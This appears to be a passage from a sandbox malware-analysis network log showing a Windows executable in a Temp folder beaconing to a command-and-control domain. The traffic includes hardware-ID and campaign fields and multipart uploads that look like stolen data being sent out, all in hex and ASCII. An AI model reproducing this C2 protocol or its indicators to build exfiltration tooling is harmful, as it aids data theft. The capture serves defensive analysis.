2024-12-18 14:56:31 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-18 14:56:32 UTC	1028	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aaqigfnlhf6ace43c0msq8mg3a; expires=Sun, 13-Apr-2025 08:43:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UUeS3%2BiTOhUL5wmI%2BtP02Yg9TnHYZanqHacnmxe8eQGgtBhBqO3uCGVH4AQ7FNIdyxiGFRLsx8ytBnRBtHpLrFqnZ9YKLsrDVIa4dzxycEAswN9%2FjLm1LuvaaoAX479f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4000091ee67ce7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1800&rtt_var=684&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1589548&cwnd=193&unsent_bytes=0&cid=7bb8be27bcd1614d&ts=728&x=0"
2024-12-18 14:56:32 UTC	341	IN	Data Raw: 34 39 31 63 0d 0a 39 56 4d 6a 77 42 67 67 4e 72 57 47 44 67 2b 47 4c 5a 36 79 76 31 36 4e 47 43 58 71 45 4d 4a 6f 38 68 44 42 64 6d 74 4e 4c 7a 69 4f 63 56 58 69 49 68 51 61 6c 2f 56 72 4c 62 78 5a 37 4d 66 61 63 71 39 35 51 63 67 71 70 41 6d 65 59 36 52 61 53 54 74 43 47 73 38 31 51 71 78 72 52 52 71 58 34 33 59 74 76 48 62 6c 6b 4e 6f 77 72 79 49 48 6a 33 71 67 43 5a 35 79 6f 42 30 45 50 55 4e 62 6e 54 39 45 71 48 31 44 55 74 54 71 59 32 72 6a 53 50 2f 59 30 54 66 67 63 45 6a 49 50 4f 41 4e 69 44 4c 37 56 43 59 6f 57 31 6d 34 4d 6c 43 72 4f 6c 30 61 7a 71 52 72 59 61 51 58 76 4e 50 61 50 4f 46 2b 51 59 46 34 71 67 43 57 63 36 55 63 47 79 52 4a 55 4a 30 78 52 36 6c 33 53 6b 62 5a 34 47 52 68 35 55 4c 2f 6b 4a 4e 38 36 47 49 48 30 44 4c 7a 4f 4a 4e 6a 73 Data Ascii: 491c9VMjwBggNrWGDg+GLZ6yv16NGCXqEMJo8hDBdmtNLziOcVXiIhQal/VrLbxZ7Mfacq95QcgqpAmeY6RaSTtCGs81QqxrRRqX43YtvHblkNowryIHj3qgCZ5yoB0EPUNbnT9EqH1DUtTqY2rjSP/Y0TfgcEjIPOANiDL7VCYoW1m4MlCrOl0azqRrYaQXvNPaPOF+QYF4qgCWc6UcGyRJUJ0xR6l3SkbZ4GRh5UL/kJN86GIH0DLzOJNjs
2024-12-18 14:56:32 UTC	1369	IN	Data Raw: 4e 53 53 68 42 47 73 39 78 52 36 78 37 54 31 54 46 37 47 64 6d 34 56 33 33 32 64 41 78 37 33 64 4e 68 33 47 67 44 5a 70 34 72 42 34 4e 49 6b 42 63 6c 7a 45 42 37 44 70 46 54 4a 65 38 4c 45 37 68 58 2f 76 63 79 33 37 56 4f 6c 6a 47 61 2b 41 4e 6e 44 4c 37 56 41 45 71 54 6c 6d 63 50 6b 4b 71 63 56 42 55 78 65 4a 68 61 50 5a 4a 2b 64 37 58 50 2f 31 77 53 59 35 78 71 51 47 5a 64 36 51 51 53 57 45 4e 58 59 39 78 47 65 4a 62 54 31 2f 62 37 6e 74 74 70 46 43 79 79 5a 30 37 34 7a 6f 66 79 48 61 68 44 70 46 32 72 52 6f 4e 49 30 74 55 6d 6a 35 48 71 48 70 46 58 74 2f 73 62 57 44 76 51 50 7a 56 30 44 6a 70 64 6b 61 4e 4d 75 35 4b 6c 32 72 6a 54 45 6b 42 53 6c 6d 46 63 33 53 68 64 45 78 54 77 61 52 7a 49 2f 30 50 2b 39 79 64 5a 4b 39 30 51 6f 64 67 6f 52 69 56 66 4c Data Ascii: NSShBGs9xR6x7T1TF7Gdm4V332dAx73dNh3GgDZp4rB4NIkBclzEB7DpFTJe8LE7hX/vcy37VOljGa+ANnDL7VAEqTlmcPkKqcVBUxeJhaPZJ+d7XP/1wSY5xqQGZd6QQSWENXY9xGeJbT1/b7nttpFCyyZ074zofyHahDpF2rRoNI0tUmj5HqHpFXt/sbWDvQPzV0DjpdkaNMu5Kl2rjTEkBSlmFc3ShdExTwaRzI/0P+9ydZK90QodgoRiVfL
2024-12-18 14:56:32 UTC	1369	IN	Data Raw: 66 45 32 63 63 33 53 68 64 45 78 54 77 61 52 7a 49 2f 30 50 2b 39 79 64 5a 4b 39 33 54 34 31 33 72 77 75 61 66 4b 59 65 42 53 64 44 57 59 55 2b 52 61 4a 32 53 6c 37 61 36 6d 68 6c 37 55 54 33 31 74 30 39 35 54 6f 4a 79 48 57 34 53 73 67 79 6c 78 4d 46 49 6b 49 59 6f 6a 4a 50 72 48 31 55 46 4d 69 71 64 53 33 6a 51 37 79 49 6e 54 44 6d 65 6b 79 43 64 71 41 4e 6e 58 65 67 45 77 6f 69 53 6c 43 5a 4e 6b 57 75 63 30 39 53 31 2b 4e 6f 61 50 5a 4b 39 64 7a 52 66 4b 45 36 51 4a 41 79 2b 45 71 2f 64 62 55 58 4a 69 78 63 55 39 63 75 44 37 73 36 52 56 69 58 76 43 78 71 34 55 66 33 31 74 55 38 2f 58 39 4a 67 33 4f 71 44 4a 46 2f 72 78 49 4a 4c 6b 31 63 6d 7a 46 47 70 57 68 51 55 64 48 32 5a 69 32 71 44 2f 76 49 6e 57 53 76 54 46 65 66 59 37 5a 49 70 58 47 74 47 67 34 Data Ascii: fE2cc3ShdExTwaRzI/0P+9ydZK93T413rwuafKYeBSdDWYU+RaJ2Sl7a6mhl7UT31t095ToJyHW4SsgylxMFIkIYojJPrH1UFMiqdS3jQ7yInTDmekyCdqANnXegEwoiSlCZNkWuc09S1+NoaPZK9dzRfKE6QJAy+Eq/dbUXJixcU9cuD7s6RViXvCxq4Uf31tU8/X9Jg3OqDJF/rxIJLk1cmzFGpWhQUdH2Zi2qD/vInWSvTFefY7ZIpXGtGg4
2024-12-18 14:56:32 UTC	1369	IN	Data Raw: 54 64 48 72 33 39 4e 58 73 58 73 59 6d 44 76 51 50 66 43 33 54 48 72 64 6b 4f 41 65 61 70 4b 33 6a 4b 6b 44 45 6c 33 44 57 2b 61 50 6b 47 68 62 41 4a 4c 6d 66 30 73 61 75 67 50 70 4a 44 52 4d 75 39 31 53 34 52 35 71 41 75 63 66 4b 51 52 41 43 64 46 53 4a 59 31 53 61 4e 30 54 56 58 54 34 57 6c 70 34 30 76 36 33 35 31 79 72 33 31 66 79 43 72 67 4a 62 64 48 34 54 55 7a 62 31 49 55 6a 6e 46 47 72 6a 6f 61 46 4e 76 6e 59 47 58 72 53 66 58 63 31 7a 58 6b 64 6b 79 4d 66 71 6b 50 6c 6e 4f 6d 45 51 67 72 51 56 43 52 4d 6b 4b 74 64 55 31 63 6c 36 6f 73 61 76 77 50 70 4a 44 34 4b 2b 52 30 51 63 68 74 37 68 50 51 64 61 39 55 55 57 39 42 55 35 45 33 52 4b 35 37 52 46 7a 53 37 47 68 73 34 6b 6e 2f 33 39 6b 35 37 6e 56 44 68 48 79 71 43 35 46 2b 71 42 73 43 4b 67 30 55 Data Ascii: TdHr39NXsXsYmDvQPfC3THrdkOAeapK3jKkDEl3DW+aPkGhbAJLmf0saugPpJDRMu91S4R5qAucfKQRACdFSJY1SaN0TVXT4Wlp40v6351yr31fyCrgJbdH4TUzb1IUjnFGrjoaFNvnYGXrSfXc1zXkdkyMfqkPlnOmEQgrQVCRMkKtdU1cl6osavwPpJD4K+R0Qcht7hPQda9UUW9BU5E3RK57RFzS7Ghs4kn/39k57nVDhHyqC5F+qBsCKg0U
2024-12-18 14:56:32 UTC	1369	IN	Data Raw: 31 38 51 31 48 64 36 47 74 6f 37 30 44 77 6b 4a 4e 38 36 47 49 48 30 44 4b 4f 41 59 4e 6c 6f 42 6f 43 4f 56 59 61 69 48 39 59 34 6e 31 4f 46 49 2b 6b 62 32 62 76 53 2f 7a 63 33 54 6a 69 65 6c 57 48 64 61 63 44 6d 32 43 70 45 77 34 6b 52 56 47 59 4e 31 4f 75 64 46 42 52 78 66 59 73 49 36 52 49 35 4a 43 46 66 4e 6c 39 56 35 68 78 34 6a 75 47 63 62 55 66 42 43 4d 4e 52 64 6b 6f 41 61 56 32 41 67 79 58 34 6d 4e 6b 35 30 44 39 32 64 45 78 36 6e 4e 43 69 58 53 6b 41 4a 70 79 70 52 49 49 4b 6b 64 5a 6c 6a 74 49 70 58 4a 46 56 38 57 6b 49 69 33 6a 56 37 79 49 6e 52 58 6f 61 45 6d 59 4d 72 39 45 69 54 4b 6b 47 45 6c 33 44 56 36 64 50 6b 57 6c 64 6b 52 52 30 65 6c 74 59 75 56 50 38 39 54 57 4e 65 6c 37 53 6f 31 2f 70 42 69 61 65 61 77 59 41 43 4e 41 47 74 6c 78 52 Data Ascii: 18Q1Hd6Gto70DwkJN86GIH0DKOAYNloBoCOVYaiH9Y4n1OFI+kb2bvS/zc3TjielWHdacDm2CpEw4kRVGYN1OudFBRxfYsI6RI5JCFfNl9V5hx4juGcbUfBCMNRdkoAaV2AgyX4mNk50D92dEx6nNCiXSkAJpypRIIKkdZljtIpXJFV8WkIi3jV7yInRXoaEmYMr9EiTKkGEl3DV6dPkWldkRR0eltYuVP89TWNel7So1/pBiaeawYACNAGtlxR
2024-12-18 14:56:32 UTC	1369	IN	Data Raw: 47 31 75 4a 2b 62 65 6c 46 37 74 72 57 4f 65 4a 33 53 6f 74 30 70 67 47 63 59 4b 6f 55 43 69 51 4e 46 4e 63 32 57 65 49 69 41 6e 66 41 38 6d 5a 71 36 46 6e 33 30 64 34 71 34 6d 6f 48 78 6a 4b 78 44 59 45 79 2b 77 49 5a 4f 45 70 46 32 53 67 42 70 58 59 43 44 4a 66 69 5a 57 76 6a 53 66 4c 43 32 44 72 67 64 55 36 42 64 71 67 4a 6b 48 61 6e 45 77 77 73 51 56 47 51 4d 6b 36 6d 63 30 78 64 32 4b 51 69 4c 65 4e 58 76 49 69 64 48 66 52 35 53 34 55 79 76 30 53 4a 4d 71 51 59 53 58 63 4e 56 70 6b 30 51 61 68 38 52 6c 48 52 37 6d 6c 74 37 30 7a 7a 31 4e 73 34 34 48 70 4d 67 58 4f 6d 44 35 70 35 70 52 6b 4b 4b 55 73 61 32 58 46 47 75 6a 6f 61 46 50 66 2f 59 57 48 6a 44 2b 4f 65 78 48 7a 6f 64 67 66 51 4d 71 73 47 6c 48 57 6a 47 51 6f 6e 53 46 36 64 4e 45 47 71 61 45 Data Ascii: G1uJ+belF7trWOeJ3Sot0pgGcYKoUCiQNFNc2WeIiAnfA8mZq6Fn30d4q4moHxjKxDYEy+wIZOEpF2SgBpXYCDJfiZWvjSfLC2DrgdU6BdqgJkHanEwwsQVGQMk6mc0xd2KQiLeNXvIidHfR5S4Uyv0SJMqQYSXcNVpk0Qah8RlHR7mlt70zz1Ns44HpMgXOmD5p5pRkKKUsa2XFGujoaFPf/YWHjD+OexHzodgfQMqsGlHWjGQonSF6dNEGqaE
2024-12-18 14:56:32 UTC	1369	IN	Data Raw: 49 69 33 6a 57 62 79 49 6e 51 4b 76 61 45 53 59 63 61 38 62 72 6a 4c 37 44 54 64 76 52 6b 79 51 49 55 4b 30 63 55 39 59 78 74 6f 73 4e 62 41 64 72 6f 4b 50 62 76 41 36 57 4c 63 38 34 41 76 51 4b 70 6f 4e 53 54 6b 4e 41 73 56 2f 41 62 41 36 47 68 53 51 35 33 35 2f 34 6b 7a 71 30 35 6f 43 30 56 31 52 67 6e 57 77 44 59 64 39 34 31 70 4a 49 41 30 43 72 6e 46 49 70 57 46 54 51 74 72 30 61 79 33 62 41 62 7a 49 6e 57 53 76 54 30 53 47 66 4b 63 63 67 54 2b 45 41 67 4d 6f 58 56 32 41 50 67 48 73 4f 6b 51 55 6a 37 63 69 4c 65 42 65 76 49 69 4e 62 72 51 76 46 4e 38 69 38 68 58 65 61 2b 4d 43 53 58 63 66 46 4e 63 6a 41 66 6f 36 42 56 66 46 39 6d 70 75 38 6b 79 37 37 75 4d 62 39 58 64 42 6e 32 4f 65 4e 4a 64 6f 72 68 49 65 50 67 46 50 6c 44 39 50 70 57 77 43 47 70 66 Data Ascii: Ii3jWbyInQKvaESYca8brjL7DTdvRkyQIUK0cU9YxtosNbAdroKPbvA6WLc84AvQKpoNSTkNAsV/AbA6GhSQ535/4kzq05oC0V1RgnWwDYd941pJIA0CrnFIpWFTQtr0ay3bAbzInWSvT0SGfKccgT+EAgMoXV2APgHsOkQUj7ciLeBevIiNbrQvFN8i8hXea+MCSXcfFNcjAfo6BVfF9mpu8ky77uMb9XdBn2OeNJdorhIePgFPlD9PpWwCGpf
2024-12-18 14:56:32 UTC	1369	IN	Data Raw: 41 47 38 31 4d 78 38 74 79 6f 56 30 79 66 7a 58 63 41 67 76 46 6f 51 62 31 73 61 7a 32 4d 50 34 6d 67 43 44 4a 65 6a 62 33 2f 32 53 66 2f 47 33 6e 76 52 52 47 43 47 64 61 45 63 67 47 57 73 4b 6a 63 36 54 6c 53 5a 4e 6c 65 7a 4f 67 77 55 32 4b 51 30 56 4b 51 48 76 4f 2b 54 66 50 63 36 48 38 68 48 6f 77 53 65 64 62 55 46 52 41 68 44 58 5a 59 6e 55 62 56 31 41 68 71 58 34 69 77 31 74 67 47 38 31 4d 78 38 74 79 6f 56 30 79 66 7a 58 63 41 67 76 46 6f 51 62 31 73 61 7a 32 4d 50 34 6d 67 43 44 4a 65 6a 62 33 2f 32 53 66 2f 47 33 6e 76 52 52 47 43 47 64 61 45 63 67 47 57 73 57 79 63 5a 62 47 53 70 4a 45 4b 73 64 45 56 43 78 71 51 69 4c 65 73 50 70 4f 6d 64 64 4b 39 46 43 63 68 71 34 46 4c 51 52 36 41 61 42 79 68 62 53 39 6f 57 54 36 56 37 56 45 54 41 36 79 4e 44 Data Ascii: AG81Mx8tyoV0yfzXcAgvFoQb1saz2MP4mgCDJejb3/2Sf/G3nvRRGCGdaEcgGWsKjc6TlSZNlezOgwU2KQ0VKQHvO+TfPc6H8hHowSedbUFRAhDXZYnUbV1AhqX4iw1tgG81Mx8tyoV0yfzXcAgvFoQb1saz2MP4mgCDJejb3/2Sf/G3nvRRGCGdaEcgGWsWycZbGSpJEKsdEVCxqQiLesPpOmddK9FCchq4FLQR6AaByhbS9oWT6V7VETA6yND
2024-12-18 14:56:32 UTC	1369	IN	Data Raw: 33 5a 4b 76 70 35 56 34 39 4d 6e 69 65 43 64 62 4d 58 53 78 35 62 57 5a 63 2f 52 75 49 30 41 6b 79 58 76 43 78 41 39 6b 6a 73 30 35 31 79 72 33 59 48 30 44 4b 74 47 4a 64 69 6f 46 67 4f 4e 55 6f 61 69 48 39 59 34 6d 77 43 44 49 53 71 4c 48 2b 6b 46 37 79 58 30 7a 48 75 65 55 6d 4c 59 4c 49 4d 6b 32 53 67 55 7a 63 52 59 45 69 51 49 55 4c 67 53 30 39 51 77 66 46 76 66 65 4e 78 77 76 33 50 4f 2f 39 35 42 61 52 31 72 51 61 75 54 4a 51 46 44 6a 38 50 66 4a 51 6e 51 75 49 30 41 6b 79 58 76 43 78 41 39 6b 6a 73 30 35 38 51 36 48 64 4c 79 47 33 75 45 39 42 6b 34 30 78 61 59 51 31 49 31 32 6b 42 35 58 6c 51 52 74 48 6e 65 6d 36 6a 63 63 4c 39 7a 7a 76 2f 65 51 57 35 66 36 51 63 68 58 47 7a 45 7a 63 52 59 45 69 51 49 55 4c 67 58 33 67 57 35 76 4a 76 62 65 70 49 76 Data Ascii: 3ZKvp5V49MnieCdbMXSx5bWZc/RuI0AkyXvCxA9kjs051yr3YH0DKtGJdioFgONUoaiH9Y4mwCDISqLH+kF7yX0zHueUmLYLIMk2SgUzcRYEiQIULgS09QwfFvfeNxwv3PO/95BaR1rQauTJQFDj8PfJQnQuI0AkyXvCxA9kjs058Q6HdLyG3uE9Bk40xaYQ1I12kB5XlQRtHnem6jccL9zzv/eQW5f6QchXGzEzcRYEiQIULgX3gW5vJvbepIv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49813	172.67.179.109	443	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:34 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=72ZJW2KS28V71TMV6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12841 Host: grannyejh.lat
2024-12-18 14:56:34 UTC	12841	OUT	Data Raw: 2d 2d 37 32 5a 4a 57 32 4b 53 32 38 56 37 31 54 4d 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 32 5a 4a 57 32 4b 53 32 38 56 37 31 54 4d 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 32 5a 4a 57 32 4b 53 32 38 56 37 31 54 4d 56 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --72ZJW2KS28V71TMV6Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--72ZJW2KS28V71TMV6Content-Disposition: form-data; name="pid"2--72ZJW2KS28V71TMV6Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-18 14:56:35 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ohr5dbr1qql8hm7qgarq1qpm3m; expires=Sun, 13-Apr-2025 08:43:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hF7B%2FqmUwqBzHihSIFE%2FAwU9jA6jg%2BuUna5ZaevapdGVA6g%2BVaZsADKhjMWm2oWoGXsEIYjEfCHbS5zdMvXbGY9T6Z7CXZapS7g%2FVGTxiyZotfxekNNmgKm6jIXzjUQ9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4000189d1843be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1695&min_rtt=1688&rtt_var=647&sent=19&recv=26&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13777&delivery_rate=1673352&cwnd=226&unsent_bytes=0&cid=8625d5c0a88a7ce4&ts=955&x=0"
2024-12-18 14:56:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:56:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49819	172.67.179.109	443	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:37 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GCKBBUSX6BHZ01WH97 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15074 Host: grannyejh.lat
2024-12-18 14:56:37 UTC	15074	OUT	Data Raw: 2d 2d 47 43 4b 42 42 55 53 58 36 42 48 5a 30 31 57 48 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 47 43 4b 42 42 55 53 58 36 42 48 5a 30 31 57 48 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 43 4b 42 42 55 53 58 36 42 48 5a 30 31 57 48 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --GCKBBUSX6BHZ01WH97Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--GCKBBUSX6BHZ01WH97Content-Disposition: form-data; name="pid"2--GCKBBUSX6BHZ01WH97Content-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-18 14:56:37 UTC	1038	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v1pnnled14gsj35smivm8elut8; expires=Sun, 13-Apr-2025 08:43:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7eGuDYh1W59M%2BlLRV%2B25iqSyeHkWM8MjG3o7KSfzjyKrX1wBR8%2BI90QRf6OjJb2YHiQpye0EAw6iWsisP7g4yscq%2FanYRUoF7L8SN8mc8gXv3NyWn%2B%2FhzXyzuipL0QJf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f400028fec4335a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1849&min_rtt=1843&rtt_var=703&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2830&recv_bytes=16011&delivery_rate=1542525&cwnd=232&unsent_bytes=0&cid=1e1d1d03e50f60c9&ts=844&x=0"
2024-12-18 14:56:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:56:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49825	172.67.179.109	443	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:56:39 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O2ZYTVW3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20376 Host: grannyejh.lat
2024-12-18 14:56:39 UTC	15331	OUT	Data Raw: 2d 2d 4f 32 5a 59 54 56 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 32 5a 59 54 56 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 32 5a 59 54 56 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4f 32 5a 59 54 56 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --O2ZYTVW3Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--O2ZYTVW3Content-Disposition: form-data; name="pid"3--O2ZYTVW3Content-Disposition: form-data; name="lid"PsFKDg--pablo--O2ZYTVW3Content-Disposit
2024-12-18 14:56:39 UTC	5045	OUT	Data Raw: 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e c3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 5c 5f f0 2b b1 64 f0 7c 3c 78 3e f8 37 c1 37 cc 07 00 00 00 Data Ascii: 0/74G6(~`~O\_+d\|<x>77
2024-12-18 14:56:41 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:56:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m15p3cte4bdr6rqt3cgl7u80f9; expires=Sun, 13-Apr-2025 08:43:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5r3bccPyD15523%2Fmq27ShGzkMXa4ZEcSYjkSiZkAUiEpAUoqGikbcRwyQHNkMdooxpH0UoZJDX5v3DzA5H%2Bfx6uJJo4li2Bc1Q%2F1q1CRU%2BCcAc0d5f%2BLgjs2d1ui2ZsL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4000396d4e4366-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1707&rtt_var=648&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21325&delivery_rate=1680092&cwnd=200&unsent_bytes=0&cid=a8c882991d08b0b6&ts=2269&x=0"
2024-12-18 14:56:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:56:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49839	172.67.179.109	443	4292	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
